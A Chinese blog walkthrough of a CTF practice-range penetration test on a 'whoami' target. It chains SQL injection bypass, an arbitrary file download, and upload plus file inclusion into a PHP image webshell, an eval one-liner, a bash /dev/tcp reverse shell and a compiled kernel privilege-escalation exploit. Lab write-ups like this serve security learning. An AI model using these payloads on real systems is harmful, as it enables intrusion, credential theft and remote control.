IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> whoami靶场渗透测试 -> 正文阅读

[PHP知识库]whoami靶场渗透测试

测试环境

靶机:云演考试题,whoami靶机(源码没有找到没有在本地搭)
攻击机:kali

信息收集

开始时访问网站发现啥信息也没有在这里插入图片描述

获取靶机ip

windows 终端 ping 即可
在这里插入图片描述

扫描端口

kali 机使用 nmap -sS + ip 扫描得到靶机开放端口
在这里插入图片描述

扫描目录

一开始用御剑扫,字典太小了导致啥也没扫到,robots.txt 里面的 flag 提交上去还是错的[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S9pckD3r-1651043145162)(whoami靶场渗透测试/image-20220426202540195.png)]后来用 kali 的 dirb + url 扫描,扫到了有一个 www 目录,然后呢用 dirb + url扫这个目录又扫不出东西了
在这里插入图片描述
说是这么说,还是扫到东西了的,最关键的当属phpmy目录,imagesupload_images咱都没权限访问
在这里插入图片描述
于是又转到御剑,发现文件都藏在这目录下了在这里插入图片描述

开始渗透

首先访问 www
在这里插入图片描述尝试进行sql注入攻击,测试语句为万能密码:’ or 1=1 --
后续还尝试了一些弱口令以及暴力破解,但测试结果都是try again。不知道过滤规则暂时放弃sql注入。

接着一个个访问此目录下的文件,发现其中 head.php、show.php、c.php分别是照片、空白、空白。而 add.php 是文件上传页面,但是尝试上传图片之后并没有回显地址,暂时作罢。值得注意的是 test.php,乍一看没啥,但是查看网页源代码发现
在这里插入图片描述

文件下载漏洞

'file' parameter is empty. Please provide file path in 'file' parameter 

提示“file”参数为空,请在“file”参数中提供文件路径。这是我们打开新世界大门的关键。

给test.php页面一个file参数
首先考虑是GET方式:http://28e7134f.lxctf.net/www/test.php?file=/etc/passwd ,无果
其次考虑POST方式,使用hackbar页面会显示下载该文件。结合burp使用可以直接看到文件的内容:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f8cKQ6ly-1651043145165)(whoami靶场渗透测试/image-20220426204726095.png)]

获取数据库账号密码

由上述测试可知,test.php存在文件下载漏洞。我们如法炮制的看看其他文件内容,比如我们通过下载 c.php看到了数据库的账号whoami,密码whoami_hacker,以及数据库名ica_lab在这里插入图片描述数据库登录后台文件是啥呢?就是前面扫到的phpmy,登陆访问
在这里插入图片描述看到ica_lab数据库,访问auth看到有一个账号密码。猜测是前面的登陆密码。在这里插入图片描述
同时发现了flag,但是这个也是错的。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5ZvX2fL6-1651043145167)(whoami靶场渗透测试/image-20220426212140309.png)]

知晓sql注入绕过方式

同样利用前面的文件下载漏洞,下载www目录下的index.php文件,它涉及到前端sql注入的绕过方式

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));

这边str_replace的作用是将字符串 \ ’ 替换为空,因此构造SQL注入登录payload时,必须含有 \ ’ 字符串,否则会报错。urldecode的作用是将输入解码。我们在之前的payload:’ or 1=1-- 做出修改,在最后增加 \ ',str_replace会将这个\ ’ 替换为空,所以相当于没加。

登录前端

此刻我们就有两种方法登录了

由于我们在数据库中获取了账号密码,直接登陆即可
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VyTKuzTl-1651043145168)(whoami靶场渗透测试/image-20220426214525298.png)]
第二种利用上述的sql注入,账号密码均输入' or 1=1 -- /',也可成功登录(这边我靶机到期重启了一下,域名换了,不过无伤大雅)
在这里插入图片描述

文件上传+包含漏洞getshell

登陆成功进入 panel.php 页面,首先查看show users模块,发现与数据库中的users模块一致
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lbEITUzo-1651043145169)(whoami靶场渗透测试/image-20220427110230267.png)]
在这里插入图片描述
再看看add user模块,让我们上传文件,我们跟前面一样利用任意文件下载看看它的后端代

if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
        if($choice==='show')
	{       
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
}

通过代码审计可知此文件存在文件包含漏洞,可以利用文件上传+包含的思路getshell

其次观察到,只允许我们上传图片类的文件,属于白名单问题,可以利用图片马

if(isset($_POST['upload']))
{
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);				  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";	
	}
}

随便找一张jpg图片,用010 editor在图片末尾加上

<?php system($_GET['cmd']); ?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZT91CIY3-1651043145170)(whoami靶场渗透测试/image-20220427110924330.png)]
之后上传文件,显示成功,且根据前面得到的目录,不难猜测应该是保存在uploaded_images目录下

来测试一下文件到底有没有成功包含,使用burp,在URL的post请求中加入POST /panel.php?cmd=cat%20/etc/passwd,正文中加入load=uploaded_images/ma.jpg&continue=continue在这里插入图片描述
可以看到命令已经成功执行。想想怎么用菜刀链接呢?根据前面可知照片是以POST访问的,而菜刀只能以GET访问,所以菜刀是不能连接这个图片马的。

换个思路,在之前图片马的基础上,写入一句话文件,菜刀连接一句话文件。使用burp执行命令,直接以POST方式写一句到uploaded_images下的webshell.php

要注意的是一句话要通过url编码,echo '<?php @eval($_POST['cmd']);?>' >> uploaded_images/webshell.php在这里插入图片描述
再次访问图片马 cat uplaoded_images/webshell.php (同样经过url编码)发现确实写入了在这里插入图片描述之后利用菜刀成功连接
在这里插入图片描述在这里插入图片描述可以在根目录下找到flag(这次是真的flag)在这里插入图片描述

失败的提权

为什么说是失败的提权,因为我用的这三种方法都没有成功(哭)

方法一:ssh登录

由前面的靶机端口可探测到22端口,意味着只需要得到主机的账号密码就可以成功了
又联想到PHP默认配置文件是config.inc.php,系统路径结合phpmy(这边我都试了一下,发现在phpmy下)
同样利用任意文件下载phpmy/config.inc.php,直接查看账户信息
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xc6wHEcs-1651043145173)(whoami靶场渗透测试/image-20220427122134298.png)]
得到用户名为root,密码为roottoor,尝试连接
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rNz2AH86-1651043145173)(whoami靶场渗透测试/image-20220427135721856.png)]
连接失败了,有两个原因:
1、远程服务器没有添加公钥(无法认证)
2、远程服务器公钥文件夹权限错误(.ssh.ssh/authorized_keys需要保证只有用户自己有权限,否则验证无效)

由于这俩都是指向靶机,我在菜刀里也没找到这俩文件,所以放弃这种方法。但至少我们获取了root的账号密码。

方法二:反弹shell

kali命令行里输入nc -lvnp 6666开始监听,同时burp的post请求中执行echo “bash -i >& /dev/tcp/192.168.113.130/6666 0>&1” | bash(我kali机的IP地址为192.168.113.130),同样要先经过URL编码才能发送。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hih9IszT-1651043145174)(whoami靶场渗透测试/image-20220427140311116.png)]
kali监听
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oUlxYPug-1651043145174)(whoami靶场渗透测试/image-20220427140401082.png)]
POST发送反弹shell命令[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MAOROFKd-1651043145175)(whoami靶场渗透测试/image-20220427140456353.png)]
遗憾的是,kali机并没有反弹会话…

我真傻,真的,我单单学者如何反弹shell,却没注意它的前提。前提是攻击机在公网ip,但是我的kali机是在内网的,靶机反弹的shell找不到在内网的kali机,所以就监听不到任何东西了…

由于我也是才接触渗透提权这块,还不是很了解,所以就没有找到很好的解决方法(或许可以找一个公网IP?)。

方法三:菜刀

在上述使用菜刀连接后,利用其自带的虚拟终端功能,查看系统内核版本,寻找提权exp。命令为uanme -acat /etc/issue
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TMarG1vS-1651043145175)(whoami靶场渗透测试/image-20220427143354789.png)]
可以在kali机上寻找与版本对应的Ubuntu本地提权漏洞exp
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D3OLDPCW-1651043145176)(whoami靶场渗透测试/image-20220427143651845.png)]
官网下载exp后将文件导入菜刀
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iaGPuPFT-1651043145176)(whoami靶场渗透测试/image-20220427143902000.png)]
赋予执行权限 chmod 777 37292.c;编译exp gcc 37292.c -o exp;执行exp,提权至root
在这里插入图片描述
但最后还是失败了…不知道啥原因

麻了麻了这个提权搞了好久一直不成功,到最后也没有找到一种成功的方法。针对这个靶场的渗透就先做到这里,毕竟是第一次就一个靶场进行完整的渗透,在这个过程中也学到了很多之前或忽略或遗忘的知识,以及很多新的知识。后续会重点关注如何提权,会慢慢学习的XoX

内容已同步更新至lbw的小窝

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-01 15:30:26  更:2022-05-01 15:30:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 6:55:32-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码